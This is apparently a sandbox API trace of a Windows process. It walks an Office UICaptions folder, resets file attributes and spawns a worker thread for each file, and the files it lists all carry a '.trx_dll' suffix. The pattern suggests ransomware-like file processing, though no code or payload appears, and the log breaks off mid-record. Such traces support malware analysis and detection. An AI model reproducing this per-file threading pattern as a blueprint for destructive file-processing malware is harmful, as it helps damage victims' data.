[0153.837] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0153.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 Thread: id = 2449 os_tid = 0x1eb8 [0153.840] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat")) returned 0x2020 [0153.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x20) returned 1 [0153.841] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.841] GetLastError () returned 0x20 [0153.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0153.841] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0153.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0153.841] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1ced8f30, Size=0x70) returned 0x1ce5a030 [0153.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ce59ab0 [0153.842] wcscpy (in: _Dest=0x1ce59ab0, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0153.842] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x2020) returned 1 [0153.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 Thread: id = 2450 os_tid = 0x1ebc [0153.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b866540 [0153.845] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0153.845] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0153.845] wcscat (in: _Dest=0x1b866540, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*" [0153.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63650 [0153.845] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d790 [0153.845] wcscmp (_String1=".", _String2=".") returned 0 [0153.845] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.845] wcscmp (_String1="..", _String2=".") returned 1 [0153.846] wcscmp (_String1="..", _String2="..") returned 0 [0153.846] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0153.846] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0153.846] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0153.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205d5f0 [0153.846] wcscpy (in: _Dest=0x4205d5f0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0153.846] wcscat (in: _Dest=0x4205d5f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0153.846] wcscat (in: _Dest=0x4205d5f0, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" [0158.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1010 [0158.669] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0158.669] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2=".") returned 1 [0158.669] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2="..") returned 1 [0158.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad700 [0158.669] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.669] wcscat (in: _Dest=0x1b7ad700, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.669] wcscat (in: _Dest=0x1b7ad700, _Source="GRINTL32.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" [0158.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0 [0158.670] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0158.670] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2=".") returned 1 [0158.670] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2="..") returned 1 [0158.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7adca0 [0158.670] wcscpy (in: _Dest=0x1b7adca0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.670] wcscat (in: _Dest=0x1b7adca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.670] wcscat (in: _Dest=0x1b7adca0, _Source="GRINTL32.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" [0158.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0158.671] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0158.671] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2=".") returned 1 [0158.671] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2="..") returned 1 [0158.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad980 [0158.671] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.671] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.671] wcscat (in: _Dest=0x1b7ad980, _Source="MAPIR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" [0158.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0158.672] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0158.672] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2=".") returned 1 [0158.672] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2="..") returned 1 [0158.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad020 [0158.672] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.672] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.672] wcscat (in: _Dest=0x1b7ad020, _Source="MOR6INT.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" [0158.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd44 [0158.673] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0158.673] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2=".") returned 1 [0158.673] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2="..") returned 1 [0158.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508bd0 [0158.673] wcscpy (in: _Dest=0x20508bd0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.673] wcscat (in: _Dest=0x20508bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.674] wcscat (in: _Dest=0x20508bd0, _Source="MSOINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" [0158.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0158.674] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0158.674] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2=".") returned 1 [0158.674] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2="..") returned 1 [0158.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508ef0 [0158.675] wcscpy (in: _Dest=0x20508ef0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.675] wcscat (in: _Dest=0x20508ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.675] wcscat (in: _Dest=0x20508ef0, _Source="MSOINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" [0158.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0158.675] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0158.675] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2=".") returned 1 [0158.675] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2="..") returned 1 [0158.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508450 [0158.676] wcscpy (in: _Dest=0x20508450, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.676] wcscat (in: _Dest=0x20508450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.676] wcscat (in: _Dest=0x20508450, _Source="OMSINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" [0158.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c [0158.677] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0158.677] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2=".") returned 1 [0158.677] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2="..") returned 1 [0158.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507cd0 [0158.677] wcscpy (in: _Dest=0x20507cd0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.677] wcscat (in: _Dest=0x20507cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.677] wcscat (in: _Dest=0x20507cd0, _Source="ONINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" [0158.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0158.678] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0158.678] wcscmp (_String1="ONINTL.REST.trx_dll", _String2=".") returned 1 [0158.678] wcscmp (_String1="ONINTL.REST.trx_dll", _String2="..") returned 1 [0158.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507d70 [0158.678] wcscpy (in: _Dest=0x20507d70, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.678] wcscat (in: _Dest=0x20507d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.678] wcscat (in: _Dest=0x20507d70, _Source="ONINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" [0158.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1250 [0158.679] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0158.680] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2=".") returned 1 [0158.680] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2="..") returned 1 [0158.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20509490 [0158.680] wcscpy (in: _Dest=0x20509490, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.680] wcscat (in: _Dest=0x20509490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.680] wcscat (in: _Dest=0x20509490, _Source="OUTLLIBR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" [0158.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68 [0158.681] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0158.681] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2=".") returned 1 [0158.681] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2="..") returned 1 [0158.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20509350 [0158.681] wcscpy (in: _Dest=0x20509350, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.681] wcscat (in: _Dest=0x20509350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.681] wcscat (in: _Dest=0x20509350, _Source="OUTLLIBR.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" [0158.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0158.682] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be9a700, 